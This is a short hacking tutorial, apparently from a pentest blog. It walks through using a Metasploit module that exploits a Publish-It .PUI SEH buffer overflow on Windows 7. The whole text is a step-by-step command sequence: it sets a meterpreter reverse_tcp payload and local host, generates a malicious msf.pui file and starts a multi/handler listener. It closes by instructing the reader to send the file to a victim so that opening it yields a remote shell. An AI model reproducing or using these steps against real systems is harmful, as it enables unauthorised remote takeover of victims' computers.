Hack Remote Windows PC using Publish-It PUI Buffer Overflow (SEH)

[InvisibleDamaged]

This module exploits a stack based buffer overflow in Publish-It when processing a specially crafted .PUI file. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing a user of Publish-It to open a malicious .PUI file.

Exploit Targets

Publish-It

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/publishit_pui

msf exploit (publishit_pui)>set payload windows/meterpreter/reverse_tcp

msf exploit (publishit_pui)>set lhost 192.168.1.5 (IP of Local Host)

msf exploit (publishit_pui)>exploit

After we successfully generate the malicious pui File, it will stored on your local computer

/root/.msf4/local/msf.pui

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.5

exploit

Now send your msf.pui files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
